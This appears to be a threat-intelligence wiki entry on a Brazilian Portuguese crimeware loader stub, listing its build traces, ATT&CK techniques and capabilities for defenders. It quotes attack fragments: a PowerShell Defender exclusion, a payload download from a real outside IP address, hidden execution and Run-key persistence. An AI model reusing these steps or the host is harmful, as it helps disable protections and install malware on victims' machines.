gerador-loader

Brazilian Portuguese crimeware loader stub built with MSVC. Observed once (May 2026). The binary is a minimal PE32 that calls ShellExecuteW with the runas verb to spawn a PowerShell cradle. The cradle disables Defender monitoring on a staging directory, downloads two payloads via HTTP, executes the primary EXE hidden, and writes both HKCU and HKLM Run registry values for persistence.

Build

• Toolchain: MSVC 14.51 (Visual Studio 2022), Utc1900_CPP / Utc1900_C / Masm1400 ^[sample 55db7544/rabin2-info.txt]
• PDB: C:\Users\BIGODE\source\repos\GERADOR_LOADER\Release\GERADOR_LOADER.pdb ^[sample 55db7544/strings.txt:119]
• Locale: Portuguese (Brazil) — all RT_ICON resources tagged LANG_PORTUGUESE_BRAZILIAN (1046) ^[sample 55db7544/pefile.txt:366]
• Packing: None. No anti-debug, anti-VM, or string encryption.

Deploy / TTPs

• T1562.001 — Impair Defenses: Add-MpPreference -ExclusionPath on C:\ProgramData\MSDefender
• T1105 — Ingress Tool Transfer: curl -Uri http://177.136.230.88/modulo/Flexpcis.exe and Drivespan.dll
• T1204.002 — Malicious File Execution: Start-Process ... -WindowStyle Hidden
• T1547.001 — Boot or Logon Autostart Execution: Registry Run keys (HKCU + HKLM) named WindowsService
• T1548.002 — Abuse Elevation Control Mechanism: runas verb to trigger UAC elevation

Variants

• Only one observed sample: 55db7544 (May 21 2026 build). No siblings in the corpus.

Notable Analyses

• raw/analyses/55db75449ac68bd35e56ee3bf300f7ebbcb80484cce57e523b583d49d0c85a99 — Deep static analysis; CAPE skipped (no Windows guest)

Related

• powershell-cradle-downloader — Generic technique this family implements
• defender-exclusion-via-powershell — Specific procedure observed
• registry-run-persistence — Persistence mechanism used

Capabilities

• shell-execute-powershell-cradle
• uac-elevation-runas-verb
• defender-exclusion-directory
• http-payload-fetch
• registry-run-persistence-hkcu
• registry-run-persistence-hklm
• process-launch-hidden